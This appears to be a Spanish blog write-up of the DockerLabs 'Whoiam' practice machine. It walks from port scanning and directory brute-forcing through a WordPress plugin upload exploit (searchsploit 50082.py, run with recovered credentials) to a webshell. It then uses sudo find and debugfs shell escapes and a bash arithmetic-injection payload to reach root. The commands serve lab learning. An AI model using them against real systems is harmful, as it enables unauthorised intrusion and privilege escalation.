Post

Whoiam, DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Reconocimiento
  • Explotacion de wordpress
  • Movimiento lateral de ususarios con sudo
  • Inyeccion bash scripting

Herramientas y recursos

  • nmap
  • wpscan
  • feroxbuster

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX whoiam 172.18.0.2

reporte

Como vemos en el reporte solo en esta ocasión solo tenemos el puerto 80 abierto abierto por tanto la intrusión y el error si o si están el web.

Con la extensión wappalizer ya sabemos que hay presumiblemente un wordpres así que primero buscamos vulns con wpscan.

plug

users

Con fuerza bruta no conseguimos nada con ninguno de esos usuarios.

Parece que quien desarrollo el plugin trabajaba de espía para la competencia. Justo es lo que yo buscaba para practicar xss hay de todos los colores , pero en este caso vamos a probar para empezar el Authenticated Arbitrary File Upload leading to RCE.

En casi todas las vías de explotación necesitamos estar autenticados excepto en CVE-2021-24146 pero solo nos devuelve info con las publicaciones realizadas , tampoco tuve suerte con el blindsql.

En definitiva como si o si hay que estar autenticado en la web lanzamos feroxbuster buscando mas directorios por si se escondió alguna pista.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://172.18.0.2

ferox

Con feroxbuster encontramos un directorio llamado backups y un archivo prometedor dentro lo descargamos.

back

Resulto un zip con un asci en su interior que contenía el pass de developer.

pass

Procedemos a logearnos.

Intrusion

Entramos sin problemas ahora busco un poco de info para saber como es la explotación con dicho plugin.

Se me olvido la versión del plugin y lanze de wpscan pero sin token, no fue capaz de encontrar las vulns.

Realizamos una búsqueda en searchploit

search

El que nos interesa es el 50082.py , lo lanzamos.

1
python 50082.py -T 172.18.0.2 -P 80 -U / -u developer -p 2wmy3KrGDRD%RsA7Ty5n71L^

Obteniendo una webshell para ejecutar comandos.

webshell

Ahora es momento de mandarnos una revshell para trabajar mas gusto y sin limitaciones. Nos ponemos a la escuche , la mandamos y realizamos el tratamiento a la tty.

Movimiento lateral usuarios

Nos encontramos con que somos www-data y disponemos de permisos para ejecutar find con sudo como el usuario rafa.

1
sudo -u rafa find . -exec /bin/sh \; -quit

find

Ahora a ver que nos han dejado siendo rafa. Encuentra debugfs buscamos como se hace.

1
2
sudo debugfs
!/bin/sh

debugfs

Somos ruben ,seguimos para convertimos en root pues solo habían dos usuarios.

Escalada final

Esta ultima parte es mas interesante pues nos han dejado un script veamos que contiene , los permisos y si nos deja modificarlo o deberemos abusar del path.

1
2
3
4
5
6
7
8
9
10
<Right>#!/bin/bash

read -rp "Enter guess: " num

if [[ $num -eq 42 ]]
then
  echo "Correct"
else
  echo "Wrong"
fi

Como vemos el script es muy sencillo lo unico que hace es comprobar el numero ingresado y dependiendo de si aciertas te dice si es correcto o no.

Hasta aquí fui bien pero no conseguí no hallar la manera de meter un comando que me permita ser root , puede copiar bash con permisos de suid pero después fue imposible ejecutar esa bash manteniendo los permisos elevados. Sin mas acudí a un writeup para poder ver como inyectaban el comando en el script de bash.

La carga útil por así llamarla es

1
a[$(/bin/bash>&2)]

root

Para mi por esta ultima parte la hubiese metido en dificiltad media.

Como me gusta romperme los cuernos buena maquina.

Enlace al blog de pylon creador de la maquina.

Gracias por leer

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.